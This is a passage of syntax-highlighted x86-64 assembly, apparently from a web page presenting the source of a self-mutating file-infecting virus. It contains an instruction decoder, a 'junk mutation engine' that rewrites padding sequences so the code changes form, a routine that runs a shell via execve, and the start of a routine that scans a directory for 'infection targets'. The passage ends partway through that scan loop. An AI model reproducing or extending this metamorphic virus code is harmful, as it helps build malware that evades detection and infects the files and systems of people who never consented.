    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; instruction decoder&lt;/span&gt;
&lt;span class="nl"&gt;trace_jmp:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;

    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;codelen&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;jae&lt;/span&gt; &lt;span class="nv"&gt;.invalid&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;code&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="c1"&gt;; check for NOP&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;NOP&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.ret_1&lt;/span&gt;

    &lt;span class="c1"&gt;; check MOV+reg&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;MOV&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;di&lt;/span&gt;&lt;span class="nv"&gt;l&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.ret_5&lt;/span&gt;

    &lt;span class="c1"&gt;; check prefix instruction&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;prefixes&lt;/span&gt;
&lt;span class="nl"&gt;.check_prefix:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;cl&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.invalid&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.check_second_byte&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.check_prefix&lt;/span&gt;

&lt;span class="nl"&gt;.check_second_byte:&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;codelen&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;jae&lt;/span&gt; &lt;span class="nv"&gt;.invalid&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC0&lt;/span&gt;
    &lt;span class="nf"&gt;jb&lt;/span&gt; &lt;span class="nv"&gt;.invalid&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;
    &lt;span class="nf"&gt;ja&lt;/span&gt; &lt;span class="nv"&gt;.invalid&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;di&lt;/span&gt;&lt;span class="nv"&gt;l&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.invalid&lt;/span&gt;

&lt;span class="nl"&gt;.ret_2:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;
&lt;span class="nl"&gt;.ret_1:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;
&lt;span class="nl"&gt;.ret_5:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;
&lt;span class="nl"&gt;.invalid:&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;span class="nl"&gt;.done:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; junk mutation engine&lt;/span&gt;
&lt;span class="nl"&gt;replace_junk:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;codelen&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;

    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;JUNKLEN&lt;/span&gt;
    &lt;span class="nf"&gt;jle&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;

    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;JUNKLEN&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;code&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;

&lt;span class="nl"&gt;.scan_loop:&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;jae&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;codelen&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jae&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;

    &lt;span class="c1"&gt;; scan for junk pattern&lt;/span&gt;
    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r9&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;PUSH&lt;/span&gt;
    &lt;span class="nf"&gt;jb&lt;/span&gt; &lt;span class="nv"&gt;.next_i&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;PUSH&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;        &lt;span class="c1"&gt;; rax,rbx,rcx,rdx only&lt;/span&gt;
    &lt;span class="nf"&gt;ja&lt;/span&gt; &lt;span class="nv"&gt;.next_i&lt;/span&gt;

    &lt;span class="c1"&gt;; second byte must be PUSH&lt;/span&gt;
    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r9&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;PUSH&lt;/span&gt;
    &lt;span class="nf"&gt;jb&lt;/span&gt; &lt;span class="nv"&gt;.next_i&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;PUSH&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="nf"&gt;ja&lt;/span&gt; &lt;span class="nv"&gt;.next_i&lt;/span&gt;

    &lt;span class="c1"&gt;; check REX.W prefix&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r9&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;REX_W&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.next_i&lt;/span&gt;

    &lt;span class="c1"&gt;; check XCHG opcode&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r9&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;XCHG_OP&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.next_i&lt;/span&gt;

    &lt;span class="c1"&gt;; validate complete sequence&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;validate&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.next_i&lt;/span&gt;

    &lt;span class="c1"&gt;; replace with new junk&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;insert&lt;/span&gt;

&lt;span class="nl"&gt;.next_i:&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.scan_loop&lt;/span&gt;

&lt;span class="nl"&gt;.done:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; validate junk pattern&lt;/span&gt;
&lt;span class="nl"&gt;validate:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;

    &lt;span class="c1"&gt;; extract registers from PUSH&lt;/span&gt;
    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r9&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;PUSH&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;              &lt;span class="c1"&gt;; reg1&lt;/span&gt;

    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r9&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;PUSH&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;              &lt;span class="c1"&gt;; reg2&lt;/span&gt;

    &lt;span class="c1"&gt;; registers must differ&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;cl&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.invalid&lt;/span&gt;

    &lt;span class="c1"&gt;; check POP sequence (reversed)&lt;/span&gt;
    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r9&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;POP&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;cl&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.invalid&lt;/span&gt;

    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r9&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;POP&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.invalid&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;              &lt;span class="c1"&gt;; Valid sequence&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;

&lt;span class="nl"&gt;.invalid:&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;span class="nl"&gt;.done:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; insert new junk sequence&lt;/span&gt;
&lt;span class="nl"&gt;insert:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="nv"&gt;awn_junk&lt;/span&gt;

    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;;; shell command execution&lt;/span&gt;
&lt;span class="nl"&gt;exec_sh:&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x40&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;qword&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;sh_arg0_ptr&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;qword&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;qword&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;shell_path&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_execve&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;sys_exit&lt;/span&gt;

&lt;span class="nl"&gt;sh_arg0_ptr:&lt;/span&gt; &lt;span class="kd"&gt;dq&lt;/span&gt; &lt;span class="nv"&gt;sh_arg0&lt;/span&gt;
&lt;span class="nl"&gt;sh_arg1_ptr:&lt;/span&gt; &lt;span class="kd"&gt;dq&lt;/span&gt; &lt;span class="nv"&gt;sh_arg1&lt;/span&gt;

&lt;span class="nl"&gt;list:&lt;/span&gt;                           &lt;span class="c1"&gt;; scan directory for infection targets&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;current_dir&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;O_RDONLY&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;sys_open&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;jl&lt;/span&gt; &lt;span class="nv"&gt;.list_error&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

&lt;span class="nl"&gt;.list_loop:&lt;/span&gt;
